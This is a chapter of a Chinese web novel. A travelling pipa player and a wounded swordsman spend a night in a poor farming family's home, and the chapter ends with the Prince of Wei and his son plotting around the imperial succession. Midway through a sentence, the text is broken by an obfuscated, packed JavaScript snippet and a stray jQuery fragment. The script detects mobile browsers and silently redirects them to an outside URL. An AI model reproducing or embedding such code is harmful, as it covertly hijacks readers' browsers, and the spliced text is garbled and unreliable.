等待众人慢慢散去，岑燕之才得以回到棠鲤面前，就看见棠鲤怀中抱着个小女娃，女娃手中还拿着个果子，正喂着自己的马儿……


    看到马儿吃了果子后，小女娃开心地拍手笑着，棠鲤将孩子放了下来。


    “多谢小娘子！不然老妇一人如何卖得这些果子……”老妇人眼角含泪紧紧地握着棠鲤的手连连道谢。


    棠鲤也安慰着老妇人，老妇人手掌粗糙，定是平日常常劳作，想来必是生活艰难。岑燕之在一旁解开马儿的缰绳，也听明白了刚刚发生的事情。


    她倒是好心，真是对所有人都这么热情……


    看着棠鲤姣好的面容和纤纤玉手，不知怎的，岑燕之竟然想起来从前在长安远远瞧见过的那些贵妇人，她们举手投足间总显露出许多骄矜与高贵，甚至常常以扇掩面，极是吝啬将目光投向不及自己的人，更别提像棠鲤这般能做出与人如此亲近的样子了……


    棠鲤看到岑燕之回来，也忘记问他“草料”买得如何，知道得快些上路，便装好琵琶，与站立着的两人道别。


    “小娘子要去哪呀？天色不早了，若是不嫌弃，可以去老妇家中将就一晚，一碗热粥老妇家中还是有的。”老妇人牵着孙女儿，也看出来他们带着的行囊，有些许担忧地开口问着。


    “老妇姓何，夫家姓刘。家就在前头不远处……”许是怕棠鲤两人担忧，开口介绍自己。


    听到能借宿一晚，棠鲤其实有些心动，比起可能会宿在驿舍或者逆旅通铺，她宁愿借宿人家，于是看着身边的男人的神情，询问的目光显露无遗。


    岑燕之察觉到了棠鲤投来的目光询问，思考片刻后还是点了点头，早些休息也好，身上里衣还有些湿，能早些烤干也好。


    “那便叨扰您了……”


    听闻小娘子答应了，何老妇人眼见着喜悦起来，一旁抓着裤腿的小孙女儿也开心地频频看向棠鲤和一旁的高头大马，甚至还想伸手去摸摸马儿的嘴。


    岑燕之见状：“……”


    随后两人跟着何老妇人离开官道又走了一段路，来到了一处小村落。这处村子明显没有刚才那个村子富庶，好一些的房子是土坯垒起来的，差一点只能用茅草搭一下，秋天快要过去，不知冬天来了该如何御寒？


    “老头子啊！把之前姑娘住过的的堂屋收拾出来吧！今晚有客住！”何老妇人带着小孙女儿还未到院门口，就冲着屋里喊道，不多时，一年纪与她不相上下的老伯单手拄着拐杖从屋中慢慢走出，应该就是何老妇人所说的夫家刘老伯。


    刘老伯没多说什么，看了一眼棠鲤两人，就默默地将小院中的桌椅拾掇干净，“坐吧做吧，休息休息！”何老妇人许是习惯了自家老伴儿沉默寡言的模样，倒是配合着邀请棠鲤和岑燕之坐下。


    “如今家中就老妇我和老头子两人带着小孙女儿，靠着几口薄田和给村中人做些木工过活，哎……没什么好招待的……”何老妇人给两人倒上了两碗水后，倒有些羞意在一旁。


    棠鲤看着自己面前与岑燕之面前不太一样的碗，就知道了——两只碗都很破旧，大小不一，但估计这已经是他们能拿出来招待客人用的最好的器具了。院中一应物品简朴，除了这桌椅板凳之外，在墙上还挂着一身蓑衣，墙角处放着一些木头和刨具，刘老伯招待完他们后就走到墙角那里，坐在凳上再次刨起木头来。


    “无妨，您客气了。我们只歇一晚，明日一早还要赶路。”岑燕之率先端起水碗，泯了一口水后说道，棠鲤也附和着安慰何老妇人。


    日暮将近，棠鲤本想帮着何老妇人一起准备夕食，但拗不过她，只好自己在院中练练琵琶，这几日总在奔波，没有太多时间练习。


    没过多久，何老妇人从灶台后向坐在院中的棠鲤喊道：“棠小娘子！饭好啦，快去叫你阿兄回来吃饭吧！方才他去屋后头的溪边喂马去了……”


    阿兄？哦，是说岑燕之，棠鲤放下琵琶，按照何老妇人所说，从屋后绕过去，没走多远，就到了小溪边，此时即将入冬，周围没有太多树丛遮蔽视线，是以绕过小路，就看见流水潺潺的溪边，枣红色的马儿在一旁悠闲地饮水吃草，另一边一男子坐在溪边石头上解开衣袖，露出半个臂膀，背对着棠鲤的方向……


    棠鲤愣住了，此时她距离溪边不过十几步远……


    她第一次看见男子的肌肤，并不白皙，却是很健康的颜色，精壮的上身肌肉随着男人的动作起伏贲张，线条流畅如猎豹般，充满韧性。就像前世在时尚杂志上看到的模特一样……


    棠鲤意识到自己看得太久时，是岑燕之察觉到了有人的视线才回过头来。他本来以为又是村中的孩童，结果竟是棠鲤……


    这女子……


    岑燕之小心避开腰腹处的伤口，穿好衣服，拿起放在一旁的佩刀挂在马鞍上，牵起马儿向棠鲤所站的位置走过来。


    近到眼前时，棠鲤知道自己有些冒犯，开口道歉，“我不是故意偷看你的，快用夕食了，我来叫你。”


    谁成想男人没有理会自己的意思，径直从身边牵着马走过……


    生气了？不会吧……大男人被看了一个肩膀就这么吃亏？远远又从后瞥见男人的耳尖有些泛红，大冷天的，洗澡不冷才怪，耳朵都冻红了。


    用过夕食后，何老妇人带着两人到了院中另一边的小屋前，“这处是我儿从军前与他媳妇儿两口子住的屋，儿媳妇儿早些年去了，如今儿子也从军已有五载，屋子就一直空着……我刚刚打扫干净了，住这儿吧。”


    “谢谢您，已经很好了！”棠鲤谢过她后先进了屋，将包裹跟琵琶放在床边，岑燕之在门口顿了一下，也抬脚进来。


    何老妇人看看棠鲤和岑燕之，笑着说：“那你们兄妹俩就好好歇息。”说罢便转身出了屋子。


    岑燕之看着棠鲤径直走到床边铺着床被的样子，绷着的嘴角再也忍不住开口：“兄妹？”


    棠鲤闻声抬头看他，眼神清澈，“何妇人是这么认为的，我觉得多解释反而更不清楚……就由着她了。”


    岑燕之看着她不说话，余光扫过屋中仅有的一方床榻后，更是晦暗不明。


    棠鲤哪猜不出他的想法，连忙开口安慰：“床一人一半吧，中间隔一下就行，天气也冷了，就和衣而睡……”


    岑燕之抬脚走到床边的桌子旁，将腰间的佩刀取下，放在桌子上，金属碰撞在木桌上，发出略微沉重的声响，他坐在凳子上，胳膊搭在桌子上，手指点着桌面，看着现在床榻前的女子，声音有些许不悦：“为何这般放心？我们非亲非故，共处一屋，你没觉不妥？”


    他的声音一如既往的低沉好听，但此时棠鲤听着也知道他有些生气。


    “当然不妥，我也知岑少侠在想什么。你看——”棠鲤敛起神情，只是小心拿起床边的琵琶盒，慢慢打开——


    “我于此间仅一把陪伴多年的琵琶，除此之外再无他物！唯一的夙愿就是去往长安，为此经历再多苦也是值得的。”


    此时日已西沉，月亮东升，月光透过窗户纸，照着琵琶上镶嵌的螺钿幽幽泛着银光……女子姣好的面容藏在这银光之后，撞进岑燕之的眼底。


    “再多的苦？”原本坐在窗边的男人，听着棠鲤的话，似是触动了什么，猛地起身逼近，仅做两三步就站在棠鲤面前，略微滚烫的气息与雪松的香气扑向她，充满侵略性地充斥着鼻孔和神经。


    棠鲤是第二次离岑燕之如此之近，第一次他携慷慨之义救了自己，那时她根本就没有想那么多有关男女大防的心思，但今天不同……


    直到此刻，她好像才真正看透岑燕之不悦的理由……而且，她被他突然的动作吓着了……


    眼泪一下子涌出眼眶，这半个月来受过的委屈一下子全部毫不留情地爆发出来，让面前的男人一下子没了锋芒，周身气息立马软了下来，面上的不悦消失的一干二净，更多的是抱歉与小心，语气也在自己未察觉间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224387|197558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    软了：“到底为何这么执着？”


    “我不是说了吗？一定要解一个签……”棠鲤抽泣着，抬手擦了擦眼泪，不想看他。


    男人微微向后退了两步，半响后开口：“京城太远，你去不了的，不如早些家去，如今世道，你一个女子……”


    听到“家”这个字，从莫玥儿离开后棠鲤好不容易重拾起来的精神一下子绷不住了，托着琵琶的指尖慢慢用力，变得通红，她声音颤抖，反问道：“家去？哪里？我做梦都想回去！但是没办法啊！怎么回去我不知道啊——”本来快干的泪痕又被新的泪水淌过，棠鲤就这样瞪着眼睛看着面前的男人。


    岑燕之愣住了，“你不是跟那商队……你不是胡姬？”


    “我何时说我是胡姬？我是汉人！”棠鲤受够了，将琵琶收进包内装好，气呼呼地抱臂床边，看都不看岑燕之一眼。


    岑燕之自知误会了她，看她的模样，已经不再想理会，腰腹的伤口随着方才的动作似是不太好，他温声开口：“抱歉。你睡床榻吧，我在桌边休息就好。”


    棠鲤抽泣着点了点头。


    月至中天，万籁俱寂，棠鲤裹着被子沉沉睡去。


    岑燕之闭目养神许久，慢慢转醒，脑海中回忆着棠鲤方才的神情话语，思绪万千……


    乌云被风吹开，月光透近屋内，照着床榻上女子的面庞温婉而静谧，岑燕之看了许久，才慢慢闭上眼睫。


    良久，棠鲤从睡梦中睁开眼睛，转头看了眼对面桌边的男人才再次睡去。


    同样这个难以让人安心入眠的夜晚。


    安北都护府，书房内——


    “父王，您叫我。”推门而入的男子，头戴玉冠，身着玄袍，气势不凡，问过堂中坐着男人后，垂手而立。


    男人点点头，将狼毫搁置一边，指指一边的信件，“看看，你大兄从京中魏王府加急送来的。”


    男子听闻后面上淡然，拿起书信一目十行阅过后，依旧恭敬地等待着。


    “怎么想的？”坐中的男人是统领整个安北的大都护，也是朝中为数不多的异姓王侯。


    “儿臣听从父兄指挥。”赵铮抱拳行礼，依旧恭恭敬敬。


    “得了！我岂不知你心中所想！偷着乐呢！”魏王看着自己这个儿子事不关己高高挂起的样子，气不打一出来，好像前段时日极力劝他早做打算的人不是他一样。


    赵铮没有说话，抬头看向自己的父亲，等候他的吩咐。


    “一个太监、一个宠妃，再加一个不满十岁的稚童——玉生，你说对了，圣上年老昏庸了……”魏王靠坐在椅子上，无奈叹息，遥想当年那个满怀英气的男人早就化作泡影，他仿佛看见病榻上那个苟延残喘天命的无能老人……令人可悲！


    “父可是决定好了？”赵铮将信件叠好，重新装入封中，放在桌上。


    “我已让京中旧部暗中联系太子殿下，其他太子党的王侯重臣也应当开始行动了。你大兄坐镇京中魏王府不能动，你且去太极宫，想想办法，暗中见一见太子殿下，我们必须心里要先有个数。去吧……”魏王挥挥手，赵铮恭敬行礼，再次推门出去，轻手关上房门。


    拐过回廊处，手下几个谋士围了上来，“公子？王爷如何说？”


    “父王同意了，按原来谋划，择日前往太极宫。对了，简星岩呢？叫他随我一同。”谋士们还未来得及开心，听到赵铮的吩咐，纷纷皱了皱眉头。


    “同从前一样，又是半个月未出屋了，我等这就去找他，必是还未睡……”


    “这次是又在研究什么神药？”


    “听说是什么青什么素的，不知所云……”


    赵铮也不意外，笑道：“随他去，届时若他不愿出门，还是像上次一样绑了就行，交给你们了。”说罢，负手而去。


    他走过点满烛火的连廊，眼中映出的火光流转，抬首仰望——乌云散开，月出其中，乱世将至，谁人不想分一杯羹？